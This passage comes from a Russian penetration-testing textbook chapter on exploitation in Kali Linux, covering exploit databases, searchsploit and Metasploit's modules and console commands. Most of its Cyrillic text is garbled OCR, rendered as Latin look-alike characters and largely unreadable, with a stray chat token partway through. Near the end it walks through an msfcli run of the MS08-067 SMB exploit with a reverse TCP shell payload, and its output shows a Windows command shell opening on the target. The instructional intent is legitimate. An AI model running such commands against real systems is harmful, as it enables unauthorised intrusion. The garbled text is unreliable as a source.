J110. PaclUMpeHHbIA MHCTPYMEHTapWiA
akcnnyatauum B Kali Linux

Llenesas sxcnayamauus — oxaa us 061acTell, B KOTOPOM, TOMIMO OLEHKI ySI3BUMOCTEN,
BBITIOJIHSIETCS TeCT Ha TPOHUKHOBeHUe. Ternepb, Kor/ia ysI3BUMOCTH HalIeHbI, JIJIST TIOJTY -
YeHUd JI0CTYTIA U TTOJTHOTO KOHTPOJIS HAJL IIEJIEBOM CCTEMOH BbI MOJKETE BOCTIOIb30BATh-
sl HallIeHHBIMU YA3BUMOCTSIMU. B 3T0i1 T1aBe Mbl paCCMOTPUM METO/IbI U UHCTPYMEHTHI,
HCIIOJIb3yeMble JIJIs1 9KCILTyaTalliy HallZIeHHbIX YSI3BUMOCTE B peaJlbHOM MUDe.

Q Mo O6']’:>§ICHI/IM, Ha 4TO O6paTI/ITb BHUMaHME ITpU UCCJIE/IOBAHNN HalIeHHBIX caabpIx
MECT, IIPpEXKAE YEM TpaHC(bOpMI/IpOBaTb YA3BUMOCTD B HpaKTI/I‘-IECKI/Iﬁ KO/ AKCILIONTA.

O Mbl HpuBeLeM IPUMEP HECKOIbKIX PEIO3UTOPUEB OOIIEAO0CTYITHBIX 9KCIJIONTOB
U paccKaxkeM, Kak 1 Korja UX MOKHO 3a/1eHiCTBOBATD.

O Mpur pacckaxkeM 06 UCTOTB30BAHUK OHOTO TT€YATHHO M3BECTHOTO MHCTPYMEHTA
C TOYKH 3PEHUS OIEHKHU IIeJId. DTO BaM /AacT YeTKoe Ipe/cTaBIeHNe O TOM, KaK
MOJIb30BATHCS MHCTPYMEHTAMU [IJIS TTOJYUYEeHUS 1OCTyTa K KOHDUAEHIIUATbHOM
undopmaiuu. B pasnene «PacimpeHHbil HHCTPYMEHTAPUI 9KCILJIyaTAInUy> BB
Haiijiere HeCKOJIbKO IIPAKTUYEeCKUX YIIPasKHEHUN.

O B KoHII€ I7IaBbl MBI IIOIIBITAEMCS KPATKO OIMCATh IIATH 10 CO3AAHUIO IIPOCTOTO MO-
IyJist 9KcIioiTa st Metasploit.

Harmmcanne koza akcionTa ¢ HYJIST — TPYZAOEMKaA U IOPOTOCTOAIIAA 3a/lava, Tp86y-
onrasA JOITOJTHUTEJIbHbBIX sHanuii. O6eryuts cebe pa60Ty MOJKHO, BOCIIOJIb3OBAaBIINCbH
O6HI€I[OCTyHHbIMI/I AKCILTONTAaMU. XOTs N3MEHEHNE CTPYKTYPbI TaKOT'O AKCILJIONTA B CO-
OTBETCTBUU C IIEJIEBOI cpenoﬁ TaKKe HOTpe6y6T HEKOTOPOTro OIIbITa. MbI HACTOSTEIHHO
PEKOMEH/AYEM BaM MCIIOJIb30BaTh B BalllUX MCIIBITAHUAX O6HI€'ZIOCTYHH]':>IE 3KCHJIOﬁTbI,
4TOOBI JIy4lI€ ITOHATH, KaK HallMCaTb 1 3allyCTUTb cOOCTBEHHBII KO AKCILIONTA.

lccnepoBaHue y3BMMOCTH

[Tonnmanue BO3MOKHOCTEN KOHKPETHOTO IPOrPAMMHOTO WJIM AIIIAPATHOTO MPOAYKTA
MOXKET MOCHYKUTH OTIIPABHON TOYKOM JIJIsI U3YYEHUS YI3BUMOCTEH, BO3MOKHO CyIIle-
CTBYIOIIUX B 9TOM IIpoaykTe. McenenoBanne ya3BuMOocCTeil — 3a/1aua HelpocTas, U OHa
He pelraeTcs OJHUM MIeJYKOM KHONKOHM Mbiiu. CienoBaTeabHO, A58 TPOBEACHUS
anasmza 6e3omacHocT TpebyeTcst MolHas 6a3a 3HAHUT, OTIPeIeITeMast CIIELYIOTUMI
dakTopamu.


user
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0O Hagbiku nporpamMmupoBaHus. /7151 3THYECKIX XaKePOB 3TO hyH/ITAMEHTAJBHBIH (hak-
TOp. VI3yueHne OCHOBHBIX KOHIICTIIUIT U CTPYKTYP, XapaKTEePHBIX JIJIsT II0O0TO sI3bIKa
[IPOrPAMMIPOBAHUSI, TIPEIOCTABUT TECTEPY ITPEUMYIIIECTBO ITPU ITONUCKE YSI3BUMOCTEH.
BbI I0JKHBL HE TOJIBKO UMETh 6a30BbIe 3HAHUS O A3BIKAX TTPOTPAMMUPOBAHUS, HO
u pa3buparbes B paboTe TPOIeccopoB, CUCTEMHO# maMsaTH, 6yhepos, ykazaresei,
THTIOB JIAHHBIX, PETUCTPOB M KAMIA. ITH MOHSTHSI PEATU3YEMbI TTPAKTHYCCKU Ha JIIOOOM
s3bIKe porpaMmmupoBanus, B Tom unciae C/C++, Python, Perl u Assembly.

YT0o6bl Y3HaTb OCHOBbI HaMMCaAHUS KoAa SKCMIOMTa U3 0BHapy)XeHHON ys3-
BMMOCTU, noceTuTe cTpaHuuy http://www.phreedom.org/presentations/
exploitcode-development/exploit-code-development.pdf.

O Huskenepusiii ananua. Eie ogHa oOmupHas 06aacTh A 0OHapyKEeHUs YI3BU-
MOCTeli, KOTOpBIe MOTYT CYIIIECTBOBAThH B 3JIEKTPOHHOM YCTPOICTBE, TPOTPAMMHOM
obecriedeHny I CUCTEME, TIyTeM aHaimu3a (hYHKIUI aTOTO YCTPOUCTBA, CTPYKTYP
u onepaiuit. Ilesib cocTouT B TOM, YT0ObBI BBIBECTH KO/ M3 IAHHOU CUCTEMbI 6e3 KaKo-
ro-1160 MpeIBAPUTENLHOTO 3HAHYS O €€ BHYTPEHHEH paboTe; M3YUHTh €€ Ha HATMYue
COOMHBIX CUTYAITHI, TIOXO CIIPOEKTUPOBAHHBIX (DYHKITHIT U TPOTOKOJIOB; TPOBEPUTD
IPAHUYHBIE YCJAOBUS. 37IECH MOTPEOYIOTCSI HABBIKK 0OPATHOTO MPOEKTHPOBAHHSI, TAKHE
KaK yaJIeH1e 3alliThl aBTOPCKUX [IPAB U3 IIPOrPaMMHOI0 0Oecredenus, ayqur 6es-
OTTACHOCTH, KOHKYPEHTHAS TEXHWUYECKas Pa3Be/lKa, BBISIBICHNE HAPYIICHUS TTaTEeHT-
HBIX [PaB, CIOCOGHOCTH K B3AMMOJIEICTBIIO, MOHUMaHHUE Pabouero mporecca MpoyKTa
U TIoJIyYeHre KOH(DUICHITMATbHBIX JaHHBIX. OOpaTHOE TPOEKTUPOBaHUE H00ABIISIET
JIBA YPOBHsI KOHIETIIUU JIJIsI U3YUEHHs KO/Ia TPUJIOXKEHUS: ayIUT UCXOIHOTO KO/
U IBOUYHBINA ayINT. [[HsacceM6JIepb1 U IEKOMIIUJIATOPDI — J1Ba 001X TUTIA UHCTPY-
MEHTOB, KOTOPbI€ MOI'yT ITOMOYb ay/INTOPY B IBOMYHOM aHaJIN3E. lIHSaCCGM@Hepr re-
HEPHUPYIOT KO COOPKH 13 CKOMITUIMPOBAHHOI IBOMYHOI TIPOrPaMMBI, B TO BPEMSI KaK
JIEKOMITUAJISITOPBI TEHEPUPYIOT KO/ SI3BIKA BBICOKOTO YPOBHS M3 CKOMITHJIMPOBAHHOM
JBOUYHOI mporpamMmbl. OiHako paboTa ¢ JT0OBIM U3 9THX HHCTPYMEHTOB SIBJISIECTCS
JIOBOJIBHO CJIOKHO# 1 TpeOyeT 3HAaHUHN U TIIATETbHOI OI[eHKH.

O HucTrpyMeHTandbHBbIEe cpeAcTBa. Takue cpencTBa, Kak OTJIAMYUKH, 3KCTPAKTOPDI
JIAHHBIX, 3aTYMaHUBATEH, MPOMUIUPOBIIUKY, TPOCMOTPIIUKY KOJIA, AaHATU3ATO-
PBI IIOTOKA U MOHUTOPBI aMSITH, UTPAIOT BasKHYIO POJIb B IIpoiiecce 0OHapyKeHUs
YSA3BUMOCTEN 1 00eCIednBaioT COTJIACOBaHHYIO Cpey JJIs IieJieil TeCTUPOBAHUSL.
OO6bsacHenne Kaxa0i U3 9TUX KaTerOpUi NHCTPYMEHTOB BBHIXOIUT 38 PAMKH JAH-
Ho KHUTU. TeM He MeHee Bbl MOKeTe HAUTH HECKOJIBKO MOJIE3HBIX UHCTPYMEHTOB,
yske mpucyrcrByomux B Kali Linux. YTo6bI BBl MOTJIN OTCJIEKUBATH TTOCJEIHUE
HMHCTPYMEHTBI pazpaboTKu 0OpaTHOroO KO/, Mbl HACTOSATENbHO PEKOMEHIYEM BaM
IIOCEeTUTH 0HJ131‘/’1H-61/16J11/10TeI<y 110 azpecy http://www.woodmann.com/collaborative/tools/
index.php/Category:RCE_Tools.

Q Co3szganue U UCHOIb30BaHUE N0JIE3HOM HATPY3KU. ITO TOCJIEIHUH 1TIar B HAITMCAHUH
koja Touku KoHTposs (PoC) s ysa3BUMOro ajieMenTa MpUIOKEeHUs, ¢ TOMOIIbIO
KOTOPOTO TeCTep Ha IIPOHMKHOBEHUE MOKET BBITIOJIHATD Ha I1eJIeBOH MaIlIUHE 110JTh-
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30BaTesIbcKue KoMaH/bl. MbI BOCIIOIb3yeMCs 3HAHUSMU YA3BUMBIX [TPUJIOKEHN I
co craun 06PaTHOTO TTPOEKTUPOBAHUS U opaboTaeM KO/ 060JIOUKH ¢ MEXaHU3MOM
KOJIMPOBAHUS TaK, YTOOBI UCKIIOUUTH HETIPUEMIIEMbIE CHMBOJIBI, KOTOPBIE MOTYT
MPESKIEBPEMEHHO 3aBEPIIUTH PAbOTY IKCILIONTA.

JL71s1 BBITIOJTHEHUS TIPOU3BOJILHOTO KOJIA MJTM KOMAH/IbI HA T1€JIEBOI crcTeMe OYeHb
BayKHO CJIEZI0OBATD OIIPEAEIEHHOI cTpaTernu, 00ycJ0BAEHHON THIIOM U KiaccuduKaimen
obHapysKeHHOM yst3aBuMocTH. Kak mpodeccnoHaibHBIN TecTep Ha IIPOHUKHOBEHUE, BB
Beeria OyJieTe UCKaTh JIA3€iKU, KOTOPbIE IPUBEAYT K MOJYUEHUIO TOCTYTa 000JI0UKH
K I1eJIeBOI ONlepalinoHHON crucTeMe. B 0JIHOM 13 CJIe/yonnX pas/esioB TJaBbl Mbl ITPO/Ie-
MOHCTPUPYEM HECKOJIbKO clieHapues ¢ ppeiiMBopkoM Metasploit, B KOTOPBIX IIOKaKeM,
KaK ITPUMEHUTD 3TN METO/Ibl I UHCTPYMEHTDI.

XpaHWuLLA YS3BMMOCTEN U 3KCM/TIONTOB

Ha nporspkeHrr MHOTUX JIeT O0TIECTBO TTEPUOAMYECKN Y3HABAJIO O Psijie HAll/[EHHBIX
B ITO ysizBumMocTeit. HekoTopbie 13 HUX OBLIH PACKPBITHI ¢ TIOMOII[HIO KOJIa IKCILIOWTA
PoC, HO MHOTHE JI0 CUX TIOP OcTatoTcst 6e3 BHUMaHMsI. KOHKypeHTHas 3TI0Xa TIOUCKa
001IEI0CTYITHBIX KCIIOWTOB 1 nH(OpMaIm 00 yA3BUMOCTSIX 00JIeryaeT Tectepam Ha
MIPOHUKHOBEHUE OBICTPBIN MOUCK W M3BJIEUEHIE HAUIYUIIETO TOCTYITHOTO SKCILIONTA,
KOTOPBIN MOAXO/UT JIJIsSI KOHKPETHOM 11es1eBOii cicTeMHON cpe/bl. Ecom y Bac ecTh Ha-
BBIKM ITPOTPAMMHUPOBAHUA U YeTKOE MOHUMaHNEe apXUTEKTYypbl KOHKpeTHOH OC, BBI
MOJKeTe TIEPEHECTH OJIMH TUTI 9KCIIJIONTA Ha JAPYTO (Harpumep, apxXuTekTypy Win32 na
apxuTerTypy Linux). MbrI ipeoctapiisieM KOMOMHUPOBAHHBIN HAOOP OHJIAWH-PETIO3UTO-
pHEB, KOTOPbBIE MOTYT TIOMOUYb BaM OTCJIEKUBATE JIFOOYI0 HHPOPMAIIUIO 00 YSA3BUMOCTH
WJIN ee 3KCIIJIONT.

He kaxmas obHapyskeHHas ySI3BUMOCTH OblLja PacKpbiTa 00IecTBeHHOCTH. JacTo
nHOOPMAITHST O HEKOTOPBIX YSIBBUMOCTSIX cO00IIaeTcst 6e3 KaKoro-1mbo Kojia KCIIon-
ta PoC. A 6biBaer tax, uto noapobHas urdopmaimsa 06 06GHAPYKEHHO YA3BUMOCTH
He 1peziocTasisieTcst Booobiie. [To aToil mpudnHe MHOTHE ayIUTOPhI 0E30IIACHOCTH He-
PEIKO KOHCYJIBTUPYIOT CPa3y HECKOJIBKO NHTEPHET-PECYPCOB.

Huske mipesicTaBiieH CIIMCOK OHJTalH-0a3.

WUmsa penosutopus Appec caiita

Bugtraq SecurityFocus http://www.securityfocus.com

OSVDB Packet Stormulnerabilities https://blog.osvdb.org/

Packet Storm http://www.packetstormsecurity.org
National Vulnerability Database http://nvd.nist.gov

IBM ISS X-Force https://exchange xforce.ibmcloud.com/
US-CERT Vulnerability Notes http://www kb.cert.org/vuls

US-CERT Alerts http://www.us-cert.gov/cas/techalerts/

IIpodonicerue
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(Ilpodonicenue)

Ums penosutopus Agapec caiita

SecuriTeam http://www.securiteam.com

Secunia Advisories http://secunia.com/advisories/historic/
CXSecurity.com http://cxsecurity.com

XSSed XSS-Vulnerabilities http://www.xssed.com

Security Vulnerabilities Database http://securityvulns.com

SEBUG http://www.sebug.net

MediaService Lab http://techblog.mediaservice.net
Intelligent Exploit Aggregation Network http://www.intelligentexploit.com

3/1ech TepevrncIeHb! TOJbKO HEKOTOPble HHTEPHET-PECYPChl M3 MHOKECTBA CyTie-
cryrormmx. Kali Linux mocraBisieTcst ¢ MHTErpupoOBaHHON 6a30i JAHHBIX 9KCIIONTOB
or Offensive Security. Ha cerogHsIHUi geHb 3T0 06eCIeYnBAET JOTOJTHUTEIBLHOE
MIPENMYIIECTBO XPaHEHUs B Balllell crcTeMe BCeX apXMBUPOBAHHBIX SKCIIONTOB M MX
nanbHelee ncnoan3oBanue. Ytoo6sr moayuanutsh goctyn k Exploit-DB, BormonnuTe
B TEPMUHAJE CJIeYIOIe KOMaH/IbI:

# cd /usr/share/exploitdb/
# vim files.csv

ITO OTKPOET MOJHBIN CITMCOK 9KCIJIONTOB, IOCTYITHBIX B HACTOSIIIEE BpeMs U3
Exploit-DB no agpecy /usr/share/exploitdb/platforms/directory.

JlarHble 9KCIIONTHI KaaccuUIMPOBAHBI B COOTBETCTBYIONINX MOAKATAIOTAX HA
ocnose tuna cucrembl (Windows, Linux, HP-UX, Novell, Solaris, BSD, IRIX, TRU64,
ASP, PHP u 1. 1.). BosbiHCcTBO 13 HUX ObLIN paspaboTaHbl ¢ UCIIOJb30BAHIEM SI3bl-
koB mporpammuposanus C, Perl, Python, Ruby, PHP. Kali Linux yse mocrasisiercst
C HECKOJIbKUMU KOMITHJIITOPAMU M MHTEPIIPETaTOPaMH, KOTOPBIE TOJIEPKUBAIOT BbI-
MOJTHEHUE ATUX DKCILJIOUTOB.

Kaxk n3Bieub KoHKpeTHYI0 NHGOPMAIIIIO U3 CIIUCKA IKCTIONTOB? M crmomb3yst MoTil-
Hbie kKoMaHbl Bash, BbI Moskere BoiBecTH J11000M TEKCTOBBIN (hail/l sl U3BJICYEHUS
3HAYMMBIX JaHHBIX. [IJ1s1 9T0r0 BOcmosbayiitech Searchsploit win BBeanTe B KOHCOJb
KoMaHy cat files.csv |cut -d"," -f3. Searchsploit HauHeT U3BJIEKATH CIIUCOK 3aT0-
JIOBKOB 9KCTIIIONTOB 13 (haiina files. csv. UTo6BI y3HATH OCHOBHBIE KOMAHIBT 0O0IOUKH,
obparuTech 1o azpecy http://tldp.org/LDP/abs/html/index.html.

PaclUMPEHHbBIA MHCTPYMEHTAPUIA 3KCNyaTauum

ITo ymommuanmio B Kali Linux yske 3arpy’keHo HECKOJIBKO JYUIINX U CAMbBIX IIEPELO-
BBIX MHCTPYMEHTOB aKcrryaTarui. QHUM U3 HUX siBJsieTcs natdopma Metasploit
(http://www.metasploit.com). /[lajsiee MbI pacckaxeM o Hell 6osee MOAPOOHO U TIPE]I-
CTaBUM DS/l CIIEHAPHEB, KOTOPbIE TIOBBICST IPOU3BOIUTETHHOCTH 3TOTO NHCTPYMEHTA
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W YJYYIIaT Ball OMBIT TECTUPOBAHUS Ha MpoHuKHOBeHMe. DpeiiMBopK paspaboran
Ha s13bIKe MporpaMMupoBanust Ruby u moanep:kuBaeT MOAYIbHOCTh. DTH MEPHI TIO-
3BOJIAIOT UCIBITATENI0 HA TPOHUKHOBEHUE, 00IaIat0NeMy XOPOTTUMHI HaBBIKAMI
B NMPOrPaMMUPOBAHUH, PACITUPUTH UM Pa3paboTaTh MOJAb30BATENbCKUE TITATMHBI
U UHCTPYMEHTBI.

ApxutekTtypa ppeiiMBOpKa pasjie/ieHa Ha TPU KaTeropu: OUOGIHOTeKH, MHTEPhEHCh
U MOZyJIu. B aTOM ympaKHEHUN MBI COCPEIOTOYUMCS Ha BO3MOKHOCTSX PA3JIMUHbIX
unrepdeiicos u moxyJeil. arepdeiics (korcoab, CLI u GUI) B ocHoBHOM 0beciieun-
BAIOT BHEIIHIOI ONMEPAIIMOHHYIO JIESITEBHOCTD MPH paboTe ¢ JIOOBIM TUIIOM MOJYJIei
(9KCIIONTHI, TOJIE3HBIE HATPY3KHU, BcrioMoraTeabHble yeTpoiictBa 1 NOP). Kasknprit
M3 TAaKUX MOJYyJIeH MMeeT CBoe HazHaueHue M (DYHKIMU, XapaKTepHbIe 7S TIpoliecca
TECTUPOBAHUS Ha IPOHUKHOBEHNE.

O Exploit (Jkcryaralus). DTOT MOAYJIb IpeacTaBisieT coboil kox PoC, paspaboran-
HBIY JI7I9 UCTIOJTb30BAHUS KOHKPETHON YSI3BUMOCTH B I[€JIEBOU CHUCTEME.

Q Payload (ITosesHas Harpyska). Moay/b npeacraBisier coO0i BpeJOHOCHBIH KO/,
MpeiHa3HAaYeHHBIH /711 BCTPAnBaHUs B 9KCIJIONT. TaKkol BPeZIOHOCHBIN KO/ MOKET
OBITH CAMOCTOATEIHHO CKOMITUIIMPOBAH JIJIST BHITIOJHEHUS TIPOU3BOJIBHBIX KOMaH]I
B 1I€JIEBOI CUCTEME.

O Auxiliaries (Ocractka). /laHHbIe MOAYJIU IPEACTABISIOT cO60M HAGOP HHCTPYMEHTOB,
paspabOTaHHBIX JIJIST BBIITOJHEHUST CKAHMPOBAHUSI, TepeXBaTa U aHAJIN3a, 3alUTHI,
CHSITHS OTIIEYATKOB MATBIEB ¥ IPYTUX 3a]1a4 OTIEHKY Oe30TaCHOCTH.

O Encoders ([latankun). DT MOLYJIN MPEIHAZHAYEHBI JJIST TIPEOTBPAIEHNsT OOHAPY-
JKeHUsT aHTUBUpYca, 6panaMayapa, IDS /TIPS u apyrux mogo0HbIX BPeIOHOCHBIX
MIPOTPaMM ITyTeM KOAMPOBAHUS MOJEe3HOH HArPYy3KHW BO BPeMsI OTlepaliiny TPOHUK-
HOBEHMUSL.

O No Operation or No Operation Performed (NOP) (Het oneparnuu nim oneparus He BbITIOJ-
HsieTcst). Moty Jib SIBJISIeTCS MHCTPYKITHEH Ha st3bIke acceMbuiepa, 4acTo 106aBasieMoil
B KOJi 000JI0YKH JIJIsI BBIIIOJIHEHUS TOJIbKO COTJIACOBAHHOIO (hparMeHTa 1moje3Hoi
HaIrpy3KHU.

Jlasee MbI 00bSICHIM OCHOBHOE Ha3HAYeHMeE JBYX U3BeCTHBIX MHTEepdeiicoB Metasploit
U TIPUBEJIEM COOTBETCTBYIONINE TTapaMeTPbl KOMaHIHOH cTpoku. Kaxkapiit maTepdetic
MMeeT CBOU JIOCTOMHCTBA U HeJocTaTKU. OJHAKO Mbl HACTOSATEIHHO PEKOMEH/yeM
MPUEPKUBATHCS KOHCOMBHOT BEPCHH, TTOCKOJIBKY OHA TOMIEPKIBAET OOIBITIHCTBO
ynaKIMI MIaTGHOPMBI.

MSFConsole

MSFConsole — onun u3 cambix 9 PEKTUBHBIX BHEIIHUX MHTeP(hEicoB, coaepKa-
MUH HECKOJIBKO MONIHBIX HHCTPYMeHTOB. OH MO3BOJISIET UCIIBITATE/ISIM Ha TIPO-
HUKHOBEHUE JOOUTHCS MAKCUMAJbHO TTOJIb3bI TIPU HKCILIYATAIIMY YSI3BUMOCTEN.
Y0661 mosnyuntsb goctyn k MSFconsole, BoiGepute B ocHoBHOM MeHI0 Kali Linux
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xomanjy Applications » Exploitation Tools » Metasploit (IIpusoxxenust » TucTpyMeHTHI
akcruryataiun » Metasploit) v BBeiuTe B KOMaH/IHYIO CTPOKY TEPMUHAJIA W BBITIOJ-
HUTE CJIEYIONIYIO KOMaH/Ly:

# msfconsole

Otkpoercst nHTEpdEiic MHTEPAKTUBHON KoHCcoIU. YTo0bI y3HATh 060 BCEX JOCTYII-
HBIX KOMaHJIaX, BBEJIUTE CIIeIyIollee:

msf> help

Ha sxpane orobpasurcs asa Habopa komana. Oaun Habop 6leeT [IUPOKO UCIOJIb-
30BaThCA B (DpPeMBOpPKeE, a JIPYTOH Habop npejcrasisgeT coboii creranbHble KOMaH/Ibl
JUUIST TIPOTPaMMHO-aNapaTHON YacTh 6a3bl JaHHBIX, B KOTOPOU XPaHSITCS MTapaMeTphI
OTIeHKHU W pe3yJabTarhl. IHCTPYKIMU O [PYyTUX NapaMeTpax MCIOJIb30BAHUS MOXKHO
MOJIYYUTH C ITOMOIIBIO KOMaH/IbI -h, cJeyloleil 3a Koman/0i core. PaccMotpum
KOMaHZy show:

msf> show -h

[*] valid parameters for the "show" command are: all, encoders, nops,
exploits, payloads, auxiliary, plugins, options

[*] Additional module-specific parameters are: advanced, evasion,targets,
actions

Ira KoMaH/a OOGBIYHO TPUMEHSIETCST /LIS OTOOPAKEHUST M BCeX MOJLYJIEH, WK J10-
CTYIHBIX MOJyJiel qantoro Tumna. Hiske puBenenbl HanboJiee 4acTo UCIOJIb3yeMble
KOMaH/IbI.

O show auxiliary — 0TOOpasUT BCe BCIIOMOTATEIBHBIE MOYJIH.

O show exploits — 1ocjie BBeeHUS 9TOH KOMaH/[bl Bbl YBUAUTE CIIUCOK BCEX 9KCILION-
TOB B paMKaX UCCJIELyeMOii TIaT(OPMBL.

O show payloads — IOKa)KeT CIHICOK TIOJIE3HBIX HATPY30K /7T BeeX mmaTdopm. OaHako
UCIIOJIb30BaHKe TOU ke KOMaH/bl B KOHTEKCTE BHIOPAHHOIO SKCILIONWTA IIPUBEAET
K BBIBOJ/IY TOJIBKO COBMECTUMBIX TI0JIE3HBIX HATpy30K. Hampumep, mosiesnbie Ha-
rpysku Windows OyayT oToOpaskaThecs TOJIBKO ¢ coBMecTUMbIMU ¢ Windows skc-
ILJIOMTaMMU.

O

show encoders — KOMaH/[a OTOOPA3UT CIMCOK JIOCTYITHBIX JATYUKOB (IHKOIEPOB).

a ShOWhOpS — C IIOMOIIBIO ITOU KOMaH/bI BbI YBUANUTE CIITNCOK BCEX NOCTYITHBIX T'€HE-
patopoB NOP.

O show options — mpesHazHAYeHA it OTOOPAsKEHUST HACTPOEK U [TAPAMETPOB, JOCTYII-
HBIX JIJIST KOHKPETHOTO MOJLYJISL.

O show targets — KOMaHa TOMOJKET U3BJI€Yb CITUCOK 11esieBbIX OC, momep:KuBaeMbIX
KOHKPETHBIM MOJIYJIEM.

Q show advanced — npeaocTaBUT BaM OOJIbIIe BO3MOKHOCTEH /Il TOYHOM HACTPOHKU
BBIIIOJIHEHUS 9KCILIONTA.
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B caemytomieii Tabiauie Mbl IIPeACTaBUIN KPATKUN CIUCOK Hanboiee 4acTo yIo-
TpebsieMbIX KOMaHI. Bbl MOJKeTe MCII0Ib30BaTh KakAyi0 U3 HUX, BBOJA B KOHCOJIb

Metasploit.
KomaHpa OnucaHue
check IIpoBepsieT KOHKPETHBIN KCIIONT MPOTHUB Ballell ysi3BUMON 1 6e3 ero

MCIOJIb30BAHNS. JTa KOMaH/Ia He TTO/I/IePKUBAETCS MHOTUMU IKCIIJIOWTaMU

connectip port

Pa6oraer ananoruuno uncrpymentam Netcat u Telnet

exploit 3aryckaer BbIOPaHHBIN 9KCILIONT
run 3aryckaeT BLIGPAHHBIH BCIIOMOTATEIbHBINA MO JTb
jobs [TokaspiBaeT CIMCOK BeeX 3aIyIeHHBIX (DOHOBBIX MOJYJIei

route add subnet
netmasksessionid

I[O68.B]IH€T uepe3 CKOMHpOMeTI/IpOBaHHI)Iﬁ C€aHC MapuIpyT C 11eJIEBOro
KOMIIbIOTEPA Ha KOMITBIOTEP-TECTUPOBIINK

info module

Oro6paaet mozapobuyto utdopmaluio o koukpernom moxyJe (Exploit,
Auxiliary u . 11.)

setparam value

HacrpauBaer B TekylieM MoyJle 3HaueHUE [1apaMeTpa

setgparam value

[To3BoJisteT 3a1aTh 3HaYCHUE III06ATBHOTO TIapameTpa s HpeiiMBOpKa.
AT apamMeTpsl GYAYT MCMOTB30BATHCST BECEMU SKCIIIIONTaMIT
1 BCTIOMOTATETbHBIMI MOJIYISIMI

unsetparam Komanpa, o6pathas komanze set. Bor Takske Mozxere cOpocuth Bee
nepemMeHHble cpasy, ykazas unset all

unsetgparam [TosBosisieT yOpath O/[HY WM HECKOJIBKO TI0OATBHBIX IIEPEMEHHBIX

sessions [To3BoJIsIeT MOKA3aTh 1 3aBEPIIMTD 11eJICBOI Ceanc, a TaKKe

B3aMMOJIEIICTBOBATD C HIM. MCHO]IBSyfITG -1 JUIA TIepevYurcyIeHuA,
-1 1711 B3aUMOJIENICTBUS C CEAHCOM 1 -k JUUIA €TO 3aBEPIIeHUA

search string

[TpemocraBiser cpeZicTBO ITOMCKA MO/LYJIeH O UX MMeHaM 1 OIINCAHUSM

use module

Bb160p KOHKPETHOTO MOAYJIST UIST TECTUPOBAHMNST HA IPOHNKHOBEHHE

B caenyronux pasnmenax MpuBeeHBI TPUMEPHI MTPAKTUYECKOTO IPUMEHEHUS He-
KOTOPBIX M3 9TUX KOMaH. BaM BaskHO MOHSATD, KAK OHU UCIIOIB3YIOTCS C PA3IUIHBIMU
HabopamMu MoyJieii hpeiiMBOpKa.

MSFCLI

Kak u unrepdeiic MSFConsole, CLI paboTtaer ¢ pazinyHbIMU MOJYJIAMU, KOTOPbIE
MOKHO 3aIlyCTUTH B OIHOM 3K3eMIuisipe. OIHAKO eMy He XBaTaeT HOBeUIuX (hyHKIIUI
aBroMaTHu3aiuu, kotopbie ectb B MSFConsole.

Yro6sr 3amyctuth msfcli, BBenTe B KOMaHIHOM CTPOKE TEPMUHAIA CJIEAYIONIYIO

KOMaH/y:

# msfcli -x
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Ona oToOpasuT Bce AOCTYIIHbIE PEKUMBIL, aHasornulblie peskumaM MSFConsole,
a TakKe MHCTPYKITNH, ¢ TTOMOTIBIO KOTOPBIX MOKHO BBI3BATH HYKHBIM MOYJIb U yCTa-
HOBUTH €ro mapamerpbl. OOpaTuTe BHUMAHUE, YTO BCE MEPEMEHHBIE WM MapaMeTPhl
JIOJKHBI COOTBETCTBOBATH YCJIOBUIO param=value, a BBOJUMbIE TTAPaMETPhI 3aBUCST OT
peructpa. Huske mipezicraBiier HeGOBINION TPUMEp, B KOTOPOM MbI BBIGEPEM U BBITIOJ-
HUM KOHKPETHBIN 9KCIIJIONT:

# msfcli windows/smb/ms@8_067_netapi O
[*] Please wait while we load the module tree...

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port SMBPI

BROWSER yes The pipe name to use (BROWSER, SRVSVC)

[TapameTp O B KOHIIE IPEbIAYILEH KOMaH/Ibl yKasbiBaeT miaTdopMe Ha 0ToOpaskeHe
JOCTYIIHBIX OILMI /i1 BBIOPAHHOIO 9KCILIONTa. B ciemylomeil KoMaHie ¢ IIOMOLIbIO
rmapameTpa HOST MBI 3a71aeM I1esieBoit [P-azapec:

# msfcli windows/smb/ms@8_067_ netapi RHOST=192.168.0.7 P
[*] Please wait while we load the module tree...
Compatible payloads

Name Description
generic/debug_trap Generate a debug trap in the target process
generic/shell _bind_tcp Listen for a connection and spawn a command shell

Teneps, Kora Mbl ¢ TOMOIIIBIO ITapaMeTpa RHOST yctanoBusn 1P 11es1eBoil MalimHel,
MPUIILIO BpeMsl BEIOPATh COTIACOBAHHYO TIOJIE3HYI0 HATPY3KY U BBIIIOJTHUTH HAIIl 9KC-
IIJIOWT:

# msfcli windows/smb/ms@8_067_netapi RHOST=192.168.0.7
LHOST=192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E

Please wait while we load the module tree...

Started reverse handler on 192.168.0.3:4444

Automatically detecting the target...

Fingerprint: Windows XP Service Pack 2 - lang:English

Selected Target: Windows XP SP2 English (NX)

Attempting to trigger the vulnerability...

Sending stage (240 bytes) to 192.168.0.7

Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)

icrosoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32>

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
M

Kak BbI MO’KeTe BUJIETD, [TOCJE YCTAHOBKH TTapaMeTpa LHOST jiist BBIOPaHHOM 110-
JIE3HOII HArPY3KM MbI MOJIYYUJIN JOKAJIbHBII H0CTYI 000J0UKN K Halllel 1ejieBoii
MallnHe.
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Ninja 101 drills

V3 mpuBeIEHHBIX BBIIIE TIPIMEPOB MBI BU/IMM, 4TO MOXKEM UCIOIB30BaTh (hPEHMBOPK
pasnuunbIMU criocobamu. K coskasieHuio, He oIy IuTest OKa3aTh KayK/ bl acekT paboThl
(dpeiimBopra Metasploit. Ho MbI cMorm mogpo6Ho udyunTth HauboJiee BasKHble (PyHKIUN
BXOJISIIX B HEr0 MHCTPyMeHTOB. J[jist 6otee oapobHoro usyuennst Metasploit Mbr Ha-
CTOSITE/IHO PEKOMEH/YEM BaM IIPOUNTaTh OHJIaiiH-yyeOHK Metasploit Unleashed, pac-
IOJIO’KEHHBIH 110 azipecy http://www.offensive-security.com/metasploit-unleashed/. IToT yqe6H1/H<
B 4MCJIE TPOYETO BKIIOYaeT B ceOst MH(BOPMAIMIO 0 pa3paboTKe SKCIUIONTOB, NCCIeI0Ba-
